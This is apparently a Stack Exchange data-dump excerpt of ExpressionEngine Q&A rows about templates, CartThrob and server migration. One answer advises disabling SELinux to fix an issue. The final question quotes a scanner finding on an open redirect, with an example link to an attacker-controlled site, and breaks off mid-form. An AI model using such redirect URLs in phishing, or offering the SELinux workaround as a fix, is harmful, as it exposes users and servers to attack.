  <row Id="13733" PostTypeId="2" ParentId="13687" CreationDate="2013-09-12T18:34:13.843" Score="1" Body="&lt;p&gt;It turns out whitespace and placement of the closing categories tag was the issue. I moved the whole tag group onto 1 line in my template, and moved the , and closing categories tag outside of the closing &lt;code&gt;&amp;lt;/a&amp;gt;&lt;/code&gt; tag. Thanks Kevin and Nuno! I added a span so I could color the commas the same as the links.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Region: &#xA;        &amp;lt;span&amp;gt;{categories show_group=&quot;9&quot; backspace=&quot;2&quot;}&amp;lt;a href=&quot;{path=/products}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;, {/categories}&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2013-09-12T18:34:13.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13734" PostTypeId="2" ParentId="13675" CreationDate="2013-09-12T19:28:57.420" Score="1" Body="&lt;p&gt;Go to &quot;Members&quot; -&gt; &quot;Member Groups&quot; -&gt; &quot;Edit Group&quot; and check if option &quot;Include Members in PUBLISH page multi-author list?&quot; is set to &quot;Yes&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have privileges (if you are not a Super Admin) to edit that channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While editing channel entry go to &quot;Options&quot; and check if you are on the dropdown list &quot;Authors&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not - go to your profile settings -&gt; Member Preferences and check option &quot;Include user in PUBLISH page multi-author list?&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to entry you want to edit, change author to yourself and it should be working now.&lt;/p&gt;&#xA;" OwnerUserId="2049" LastActivityDate="2013-09-12T19:28:57.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13735" PostTypeId="2" ParentId="13680" CreationDate="2013-09-12T20:01:25.280" Score="1" Body="&lt;p&gt;You can't order your Super Search results by a function of another fieldtype like that. But wehat you can do is write a custom extension and then use the &lt;a href=&quot;http://www.solspace.com/docs/super_search/extension_hooks/#super_search_prep_order&quot; rel=&quot;nofollow&quot;&gt;super_search_prep_order&lt;/a&gt; extension hook.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Rating module uses this hook to sniff for an order directive like &lt;code&gt;order=rating&lt;/code&gt;. When it sees that, it runs its own routine to order the list of known entry ID's by Bayesian rating. The Rating module returns a forced order list of entry ID's as part of the order directive that Super Search will later use against the DB. Another extension could behave similarly and force the order of entries as it sees fit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-12T20:01:25.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13736" PostTypeId="2" ParentId="13731" CreationDate="2013-09-12T20:09:25.783" Score="8" Body="&lt;p&gt;I hate to answer my own question, but in the interest of sharing…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have discovered that the required modification to use Focus Lab’s EE Master Config under your webroot folder (eg. &lt;code&gt;public_html&lt;/code&gt; or &lt;code&gt;htdocs&lt;/code&gt; folder) is simply a path update within &lt;code&gt;/config/config.master.php&lt;/code&gt; on line 234 (version 1.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be the relative path to your &lt;code&gt;config.{env}.php&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the same path update is required under your modified &lt;code&gt;config.php&lt;/code&gt; and &lt;code&gt;database.php&lt;/code&gt; files.&lt;/p&gt;&#xA;" OwnerUserId="202" LastEditorUserId="10421" LastEditDate="2020-02-24T18:27:31.220" LastActivityDate="2020-02-24T18:27:31.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13737" PostTypeId="2" ParentId="13663" CreationDate="2013-09-12T20:30:36.557" Score="3" Body="&lt;p&gt;You could do this by using the &lt;code&gt;inline_error_return=&quot;&quot;&lt;/code&gt; parameter:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#inline_error_return&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#inline_error_return&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could craft a special URL when inline errors are encountered, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return=&quot;template_group/template/errors_found&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your template, use a simple conditional to display your &quot;has errors&quot; message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;errors_found&quot;}Errors were found in your form{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-12T20:30:36.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13738" PostTypeId="1" CreationDate="2013-09-12T20:36:18.227" Score="1" ViewCount="145" Body="&lt;p&gt;I am having an issue with sage. Transactions are going through and money is being taken no problem, but it isn't returning to the desired return= param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested with PayPal and all works fine. Has anyone else had an issue like this? Any solutions out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-09-21T13:51:19.147" Title="Cartthrob not returning after transaction with SagePay" Tags="|cartthrob|sagepay|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13739" PostTypeId="1" CreationDate="2013-09-12T21:16:56.650" Score="7" ViewCount="8123" Body="&lt;p&gt;I am moving my expression engine site and database to a new server. Everything seems to be directed correctly but when I access admin.php I get a blank page. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2050" LastActivityDate="2016-02-16T18:48:25.430" Title="White screen of death after server move" Tags="|server|admin|white-screen-of-death|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13740" PostTypeId="1" CreationDate="2013-09-12T21:52:39.950" Score="1" ViewCount="112" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://devot-ee.com/add-ons/publish-prefixes&quot; rel=&quot;nofollow&quot;&gt;Publish Prefixes&lt;/a&gt; extension, and I ran into &lt;a href=&quot;https://github.com/elliotlewis/publish_prefixes/commit/89f12bc0efc20a661ccc09b2faad74c668d128f0&quot; rel=&quot;nofollow&quot;&gt;this problem&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I applied the fix given in the issue tracker, and it works on my local WAMP server and Rackspace Cloud hosting. But it &lt;em&gt;doesn't&lt;/em&gt; work on Media Temple (DV) servers - the PHP errors remain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some special PHP setting I need to have in place for this fix to work?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-09-12T22:30:04.463" Title="homepage.php Hack Doesn't Work on Media Temple (DV) Server" Tags="|php|media-temple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13741" PostTypeId="2" ParentId="13740" CreationDate="2013-09-12T22:30:04.463" Score="1" Body="&lt;p&gt;It seems like this change shouldn't fail on a different host, but check the obvious, first:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;double-check that you've uploaded the homepage.php file to MT&lt;/li&gt;&#xA;&lt;li&gt;does the homepage.php file have the correct permissions on MT&lt;/li&gt;&#xA;&lt;li&gt;are your EE versions the same in each case&lt;/li&gt;&#xA;&lt;li&gt;are the hosts PHP versions the same in each case &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If it isn't something obvious, can you update your post with more info on what the problem is: what looks broken? what error messages are you seeing? what else seems wrong?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-12T22:30:04.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13742" PostTypeId="1" AcceptedAnswerId="14763" CreationDate="2013-09-13T00:25:45.133" Score="1" ViewCount="317" Body="&lt;p&gt;I'd like to be able to offer some preliminary &quot;logged in&quot; features immediately to users after they register on the site, rather than requiring that they first click an activation link in an email. However, I do want to validate member email addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, at some moment after registration, I do want to email the new members something like an account activation link that they click to verify that they have entered a valid email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this in EE? Any tips? Any gotchas? Ideas for a best approaches?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of the EE member permissions / back-end, I think it'll work simply enough to register users directly into a &quot;New Members&quot; group, and then, upon email verification, move them into a &quot;Verified Members&quot; group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working with &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt;, and likely will be adding CartThrob in the future (so, want whatever I do to work with ecommerce check-out). I could see MX Notify fitting in here, as a way of automatically triggering an email to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think generating verification links for the email, or capturing them via templates in EE, should be too hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, any thoughts on this? Is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-10-21T01:30:56.170" Title="Tips on doing user email address validation / DIY account activation in EE" Tags="|members|profile-edit|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13743" PostTypeId="1" AcceptedAnswerId="14427" CreationDate="2013-09-13T03:42:26.967" Score="0" ViewCount="118" Body="&lt;p&gt;I have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;  channel=&quot;foo&quot;&#xA;  class=&quot;form-horizontal&quot;&#xA;                ....&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don’t see the class “form-horizontal” on my form&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-13T07:13:54.307" LastActivityDate="2013-10-09T05:30:10.800" Title="{exp:channel:form} class param not working" Tags="|2.7.0|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13744" PostTypeId="2" ParentId="13722" CreationDate="2013-09-13T05:01:00.950" Score="2" Body="&lt;p&gt;Fixed this recurring error which was caused by huge traffic spikes ourselves by doubling the RAM from 2GB to 4GB (which spiked to 400% during heavy memory pressure) allocated to the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/20WrR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2013-09-13T05:01:00.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13745" PostTypeId="1" CreationDate="2013-09-13T09:00:41.623" Score="0" ViewCount="134" Body="&lt;p&gt;I had a Matrix field that I converted to a Grid Field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I needed to change was {exp:safecracker} to {exp:channel:form}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after conversion, I noticed that clicking on the &quot;+&quot; button does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at my console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReferenceError: EE is not defined    &#xA;TypeError: a is null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P8l1a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the url that is being called&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://dev-server-2.com/?ACT=7&amp;amp;ui=core,widget,mouse,position,draggable,resizable,sortable,button,dialog&amp;amp;plugin=markitup,toolbox.expose,overlay,tmpl&amp;amp;file=cp%2Fsort_helper,cp%2Fgrid,underscore&amp;amp;v=1379991682&amp;amp;include_jquery=y&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on EE 2.7.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what causes these errors? It stops me from actually editing my Grid fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the opening tag in that template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;    channel=&quot;xxxxxxxxx&quot;&#xA;    class=&quot;form-horizontal&quot;&#xA;    datepicker=&quot;no&quot;&#xA;    dynamic_title=&quot;[email]&quot;&#xA;    edit_member=&quot;yes&quot;&#xA;    entry_id=&quot;{embed:entry_id}&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    id=&quot;xxxxxxxxxx&quot;&#xA;    include_assets=&quot;yes&quot;&#xA;    include_jquery=&quot;yes&quot;&#xA;    member_id=&quot;CURRENT_USER&quot;&#xA;    return=&quot;/xxxxxx/&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-10-10T03:18:55.580" LastActivityDate="2013-10-10T03:18:55.580" Title="JS Error when outputting Grid field" Tags="|2.7.0|grid|2.7.1|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13746" PostTypeId="1" AcceptedAnswerId="13748" CreationDate="2013-09-13T09:03:15.463" Score="0" ViewCount="41" Body="&lt;p&gt;I'm currently developing a site and have run into a little bug, all but one category are working fine, the one that isn't working outputs all product entries from the whole site, any ideas why this would happen? My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;category&quot;}&#xA;&#xA;  {embed=&quot;site/_header&quot; page_name=&quot;product_list&quot;}&#xA;&#xA;  {exp:channel:category_heading channel=&quot;products&quot;}&#xA;      &amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt;&#xA;  {/exp:channel:category_heading}&#xA;&#xA;  &amp;lt;div class=&quot;secondary-col&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;categories&quot;&amp;gt;&#xA;    {exp:channel:categories show_empty=&quot;no&quot; {if segment_1 == &quot;cave&quot;}category_group=&quot;3&quot;{/if}{if segment_1 == &quot;climb&quot;}category_group=&quot;4&quot;{/if}{if segment_1 == &quot;camp&quot;}category_group=&quot;5&quot;{/if}{if segment_1 == &quot;walk&quot;}category_group=&quot;6&quot;{/if}{if segment_1 == &quot;clothing&quot;}category_group=&quot;7&quot;{/if}{if segment_1 == &quot;accessories&quot;}category_group=&quot;8&quot;{/if}{if segment_1 == &quot;brands&quot;}category_group=&quot;2&quot;{/if}}&#xA;        &amp;lt;a href=&quot;/{segment_1}/category/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:categories}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;primary-col&quot;&amp;gt;&#xA;&#xA;    {exp:channel:category_heading channel=&quot;products&quot;}&#xA;        {if category_description}&#xA;            &amp;lt;div class=&quot;introduction&quot;&amp;gt;&amp;lt;p&amp;gt;{category_description}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;    {/exp:channel:category_heading}&#xA;&#xA;    {exp:channel:entries channel=&quot;products&quot; limit=&quot;50&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;    &amp;lt;ul class=&quot;product-list&quot;&amp;gt;&#xA;      {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;      &amp;lt;li&amp;gt;&#xA;        &amp;lt;article&amp;gt;&#xA;          &amp;lt;a href=&quot;{url_title_path='products'}&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;              {if on_sale}&#xA;                &amp;lt;del&amp;gt;{regular_price}&amp;lt;/del&amp;gt;&#xA;                {price}&#xA;                &amp;lt;span class=&quot;label label-success&quot;&amp;gt;Save {you_save} ({you_save_percent}%)&amp;lt;/span&amp;gt;&#xA;              {if:else}&#xA;                {price}&#xA;              {/if}&#xA;            &amp;lt;/p&amp;gt;&#xA;          &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      {/exp:store:product}&#xA;&#xA;      {paginate}&#xA;        {pagination_links}&#xA;            &amp;lt;ul&amp;gt;&#xA;            {first_page}&#xA;              &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/first_page}&#xA;&#xA;            {previous_page}&#xA;              &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/previous_page}&#xA;&#xA;            {page}&#xA;              &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/page}&#xA;&#xA;            {next_page}&#xA;              &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/next_page}&#xA;&#xA;            {last_page}&#xA;              &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/last_page}&#xA;          &amp;lt;/ul&amp;gt;&#xA;        {/pagination_links}&#xA;      {/paginate}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA; &amp;lt;/div&amp;gt; &amp;lt;!-- /primary-col--&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can view the problematic page here, it doesn't output the category title or anything, suggesting it can't find the category, but the category is being output from both the main navigational dropdowns and the secondary navigation on the left, there are 5 products assigned to this category too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://inglesport.rmdyapps.co.uk/cave/category/static-ropes&quot; rel=&quot;nofollow&quot;&gt;http://inglesport.rmdyapps.co.uk/cave/category/static-ropes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's how a similar page looks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://inglesport.rmdyapps.co.uk/cave/category/rope-descenders&quot; rel=&quot;nofollow&quot;&gt;http://inglesport.rmdyapps.co.uk/cave/category/rope-descenders&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-09-13T12:37:49.900" Title="One category randomly outputting all articles" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13747" PostTypeId="2" ParentId="13715" CreationDate="2013-09-13T12:22:20.500" Score="1" Body="&lt;p&gt;Disabling &quot;Selinux&quot; on the server fixed this issue.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-09-13T12:22:20.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13748" PostTypeId="2" ParentId="13746" CreationDate="2013-09-13T12:37:49.900" Score="2" Body="&lt;p&gt;I'm guessing you're using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html&quot; rel=&quot;nofollow&quot;&gt;category in url&lt;/a&gt; feature, with the identifier of &quot;category&quot;. I'd expect the issue is occurring due to no products assigned to that category, or that the category url is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This URL does the same:&#xA;&lt;a href=&quot;http://inglesport.rmdyapps.co.uk/cave/category/blah&quot; rel=&quot;nofollow&quot;&gt;http://inglesport.rmdyapps.co.uk/cave/category/blah&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming it can't find a valid category URL in the current URL, so the channel:entries tag is then pulling back all products (because it has no restriction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were me, I'd approach it using &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; and then use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;category&lt;/a&gt; parameter in the channel:entries call. That way you have full control and can utilise the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#if-no-results&quot; rel=&quot;nofollow&quot;&gt;no_results conditional&lt;/a&gt; and have &lt;code&gt;{if &quot;{last_segment_category_id}&quot; == &quot;&quot;}&lt;/code&gt; to trap invalid category URLs.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-13T12:37:49.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13751" PostTypeId="1" CreationDate="2013-09-13T13:32:31.393" Score="0" ViewCount="94" Body="&lt;p&gt;I upgraded a site today from 2.5.5 to 2.7.0. Everything went well except from one ting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When outputting textareas with text formatting none EE will insert paragraphs and whitespaces - expected behaviour is for EE to do nothing. I wonder what the cause could be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this in the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Der er 18 åbne afstemninger, og du kan samtidig seriøst overveje at komme med dit input til debatopslagene i Fri Debat (som stadig er ekstremt meget i beta!)&amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;p&amp;gt;Nyhedsbrevet udsendes ikke hver uge henover sommeren.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will be rendered like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Der er 18 åbne afstemninger, og du kan samtidig seriøst overveje at komme med dit input til debatopslagene i Fri Debat (som stadig er ekstremt meget i beta!)&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;  &amp;amp;nbsp;  &amp;amp;nbsp;  &amp;amp;nbsp;  &amp;amp;nbsp;  &amp;amp;nbsp;  &amp;amp;nbsp;  &amp;amp;nbsp;  &amp;lt;br /&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Nyhedsbrevet udsendes ikke hver uge henover sommeren.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;even though formatting is &lt;strong&gt;none&lt;/strong&gt;. So both p, br and whitespace added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help &lt;em&gt;much&lt;/em&gt; appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/95BxX.png&quot; alt=&quot;Screenshot &quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2052" LastEditorUserId="2052" LastEditDate="2013-09-16T17:09:52.360" LastActivityDate="2013-09-16T17:09:52.360" Title="Weird text-formatting after upgrade to 2.7.0" Tags="|mysql|text-formatting|textarea|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13753" PostTypeId="1" AcceptedAnswerId="13754" CreationDate="2013-09-13T13:33:59.047" Score="0" ViewCount="107" Body="&lt;p&gt;Has anyone ever been able to have a product on sale in CartThrob for a set period of time?  What I want is to have certain products on sale for a set period of time and then it automatically goes back to regular price after a set date.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-09-13T14:03:19.683" Title="Cart Throb Sales price have an expiry date" Tags="|cartthrob|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13754" PostTypeId="2" ParentId="13753" CreationDate="2013-09-13T14:03:19.683" Score="1" Body="&lt;p&gt;It should be possible to use Discounts (as opposed to Coupon Codes) to do this. Discounts are just regular entries so you can set an expiry date on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discounts are applied at checkout without the need for the customer to enter any code. You can set up various types of discount based on products, prices, quantities etc. using the built in methods. It's also possible to create custom discount plugins if you have any specific requirements.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-13T14:03:19.683" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13755" PostTypeId="1" CreationDate="2013-09-13T14:40:30.630" Score="2" ViewCount="150" Body="&lt;p&gt;I have a new problem that I can't resolve yet. I want to set an expiration date in the matrix for each row. I have a column &quot;date&quot; that I need to use as an expiration date. In search I don't want to display the row if is expired, and if its the only row, I want to ignore it in results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is posible to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2038" LastActivityDate="2013-09-16T03:14:59.690" Title="Expiration date for a row" Tags="|matrix|date|expire|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13756" PostTypeId="2" ParentId="13755" CreationDate="2013-09-13T14:57:19.327" Score="4" Body="&lt;p&gt;Inside your Matrix tag pair this will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if expiration_date_column &amp;gt; current_time}&#xA;    {!-- not expired yet, put your row html here --}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can use the search parameter on the Matrix opening tag. This is probably better if you only want your result set to include unexpired rows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_matrix_field search:expiration_date_column=&quot;&amp;gt;{current_time}&quot;}&#xA;    {!-- this returns only unexpired rows --}&#xA;{/your_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-09-16T03:14:59.690" LastActivityDate="2013-09-16T03:14:59.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13757" PostTypeId="1" CreationDate="2013-09-13T15:04:58.037" Score="5" ViewCount="328" Body="&lt;p&gt;I’m 1 vulnerability away from achieving PCI compliance per McAfee’s scan. The dubious “open redirect” remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My EE/CartThrob add to cart form returns to “/checkout/review”, but McAfee’s scanner sees that as a vulnerability, whereby a nefarious user changes that url to SomeBadURL.com without the user knowing what occurred.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Medium User specified URL redirection (Open Redirect) 80/tcp Web&#xA;  Application Fail ￼￼￼￼￼￼￼￼￼Description A parameter has been identified&#xA;  that can be modified to redirect clients to a user controlled page. An&#xA;  attacker could potentially construct a URL that will redirect a victim&#xA;  to a site that they control. This type of attack is typical seen in&#xA;  phishing attacks where the user is presented with a valid link on the&#xA;  site (i.e. &lt;a href=&quot;http://www.mcafeesecure&quot; rel=&quot;nofollow&quot;&gt;http://www.mcafeesecure&lt;/a&gt;&#xA;  .com/main.jsp?state=4&amp;amp;page=&lt;a href=&quot;http://mcafeesecure-evilsite.com&quot; rel=&quot;nofollow&quot;&gt;http://mcafeesecure-evilsite.com&lt;/a&gt;) and&#xA;  mcafeesecure.com redirects the user to mcafeesecure-evilsite.com (T he&#xA;  site the attacker controls). The fact that the server name in the&#xA;  modified link is identical to the original site helps the attacker by&#xA;  giving his phishing attempts a more re liable appearance. CVSS Score&#xA;  4.3 CVSS Fingerprint AV:N/AC:M/Au:N/C:N/I:P/A:N Solution Remove the parameter that allows redirection from your site. If the parameter is&#xA;  required for operation then construct a list of valid links tha t the&#xA;  user can be redirected to [White List] and any other links that are&#xA;  specified the user will not be redirected to.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Relevant Form Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; acti  addFormSubmit()&quot; &amp;gt;&#xA;&amp;lt;div class='hiddenFields'&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;cc7bade5265c13b73a6393f3e0b2db391bd9fdaa&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;22&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://MyDomain.com/MySegment1/MySegment2&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;MySegment1/MySegment2&quot; 